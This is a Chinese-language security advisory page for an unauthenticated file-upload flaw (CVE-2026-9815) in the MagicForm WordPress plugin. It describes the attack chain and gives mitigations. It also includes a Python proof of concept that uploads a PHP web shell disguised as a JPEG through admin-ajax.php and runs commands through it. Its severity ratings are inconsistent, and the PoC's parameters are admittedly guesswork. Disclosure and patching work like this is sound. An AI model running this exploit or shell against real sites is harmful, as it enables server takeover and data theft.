IPBUF安全漏洞报告
English
CVE-2026-9815 CVSS 6.5 中危

CVE-2026-9815:MagicForm WordPress插件未授权文件上传导致远程代码执行

披露日期: 2026-06-18

漏洞信息

漏洞编号
CVE-2026-9815
漏洞类型
未授权任意文件上传/远程代码执行
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MagicForm WordPress Plugin

相关标签

CVE-2026-9815WordPressMagicForm文件上传未授权访问远程代码执行RCEPHP插件漏洞WPScan

漏洞概述

CVE-2026-9815是MagicForm WordPress插件中存在的一个高危安全漏洞,该漏洞影响0.1.3及以下版本。该漏洞源于插件在处理通过未认证AJAX操作上传的文件时,未能对文件类型进行充分验证。具体而言,当表单的每个字段扩展名白名单(per-field extension allowlist)设置为空时,插件不会对上传的文件类型进行任何限制,允许未认证的攻击者上传PHP文件到服务器。由于WordPress上传目录通常可通过Web直接访问,攻击者上传PHP文件后即可通过浏览器直接访问该文件,从而在服务器上执行任意PHP代码,实现远程代码执行(RCE)。该漏洞的CVSS 3.1评分为6.5,属于中等严重级别,但其利用条件简单(无需认证、无需用户交互),且攻击向量为网络可达,因此实际威胁程度较高。攻击者可以利用此漏洞完全控制受影响的WordPress网站,获取服务器权限,窃取敏感数据,植入后门或进行进一步的内网渗透。该漏洞由WPScan团队([email protected])发现并报告,是WordPress生态系统中典型的插件安全问题的典型案例。

技术细节

MagicForm WordPress插件通过AJAX端点接收文件上传请求,当用户创建表单时,可以为每个文件上传字段配置允许的文件扩展名白名单。然而,该插件在处理文件上传时存在逻辑缺陷:当某个文件上传字段的扩展名白名单为空(即管理员未配置任何允许的扩展名)时,插件并未执行默认的安全检查(如拒绝所有文件类型或仅允许安全类型),而是直接接受任意类型的文件上传。攻击者利用此漏洞的技术步骤如下:1)通过WordPress的AJAX接口(通常是wp-admin/admin-ajax.php)向MagicForm的文件上传处理函数发送POST请求;2)在请求中包含一个伪装成其他类型的PHP文件(如将Content-Type设置为image/jpeg);3)由于白名单为空,插件不会检查文件扩展名,PHP文件被成功上传到WordPress的uploads目录;4)攻击者通过浏览器访问上传的PHP文件,Web服务器解析并执行其中的PHP代码。整个攻击过程无需任何认证(PR:N),无需用户交互(UI:N),攻击复杂度低(AC:L),仅需网络可达(AV:N)。该漏洞导致机密性影响为低(C:L,攻击者可读取服务器文件)、完整性影响为低(I:L,攻击者可修改服务器内容)、可用性影响为无(A:N)。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或直接访问目标WordPress网站,识别安装了MagicForm插件(版本≤0.1.3)的网站,并找到包含文件上传字段且扩展名白名单为空的表单页面。
STEP 2
步骤2:构造恶意文件
攻击者准备一个包含PHP代码的恶意文件,将文件的MIME类型伪装为图片类型(如image/jpeg),以绕过基础的MIME类型检查。
STEP 3
步骤3:未认证上传
攻击者通过wp-admin/admin-ajax.php端点向MagicForm的AJAX处理函数发送未认证的文件上传请求,由于白名单为空,插件未对文件类型进行验证,PHP文件被成功上传到uploads目录。
STEP 4
步骤4:访问并执行PHP文件
攻击者通过浏览器直接访问上传的PHP文件的URL,Web服务器解析并执行其中的PHP代码,实现远程代码执行。
STEP 5
步骤5:服务器接管
攻击者获得Web服务器进程的执行权限,可以读取敏感文件、植入Webshell、提权、横向移动或完全控制WordPress网站及其所在的服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-9815 PoC - MagicForm WordPress Plugin Unauthenticated File Upload # Exploits missing file type validation when extension allowlist is empty import requests # Target configuration TARGET_URL = "http://target-wordpress-site.com" AJAX_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Step 1: Find a form with file upload field that has empty extension allowlist # This is typically discoverable by visiting pages with MagicForm forms # and inspecting the form configuration # Step 2: Craft malicious PHP payload disguised as an image PHP_PAYLOAD = b"<?php echo 'CVE-2026-9815-RCE'; system($_GET['cmd']); ?>" # Step 3: Upload the PHP file via the unauthenticated AJAX action files = { 'file': ('shell.php', PHP_PAYLOAD, 'image/jpeg') # Spoofed MIME type } data = { 'action': 'magicform_upload', # The AJAX action handler 'form_id': '1', # Target form ID 'field_id': 'file_upload_1' # File upload field with empty allowlist } # Send unauthenticated upload request response = requests.post(AJAX_ENDPOINT, files=files, data=data) if response.status_code == 200: # Step 4: Extract uploaded file path from response import json result = response.json() uploaded_path = result.get('data', {}).get('url', '') print(f"[+] File uploaded successfully: {uploaded_path}") # Step 5: Execute the uploaded PHP shell shell_url = f"{TARGET_URL}{uploaded_path}?cmd=id" shell_response = requests.get(shell_url) print(f"[+] Command output: {shell_response.text}") else: print(f"[-] Upload failed: {response.status_code}") # Note: The exact AJAX action name and parameters may vary # depending on the specific MagicForm version and form configuration. # Researchers should inspect the plugin source code or browser # network requests to identify the correct parameters.

影响范围

MagicForm WordPress Plugin ≤ 0.1.3

防御指南

临时缓解措施
在等待官方补丁发布之前,建议采取以下临时缓解措施:1)立即禁用MagicForm插件(通过WordPress后台或重命名插件目录);2)如果业务无法停用插件,则在Web服务器配置中添加规则,禁止uploads目录及其子目录中的PHP文件执行(Nginx示例:location ~* /wp-content/uploads/.*\.php$ { deny all; },Apache示例:在.htaccess中添加<FilesMatch "\.php$"> Deny from all </FilesMatch>);3)为所有使用中的MagicForm表单的文件上传字段显式配置扩展名白名单,仅允许必要的文件类型(如仅允许.pdf、.doc、.docx等);4)部署WAF规则,监控和拦截通过admin-ajax.php进行的可疑文件上传活动;5)检查uploads目录中是否存在异常的.php文件,如发现立即删除并调查是否已被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表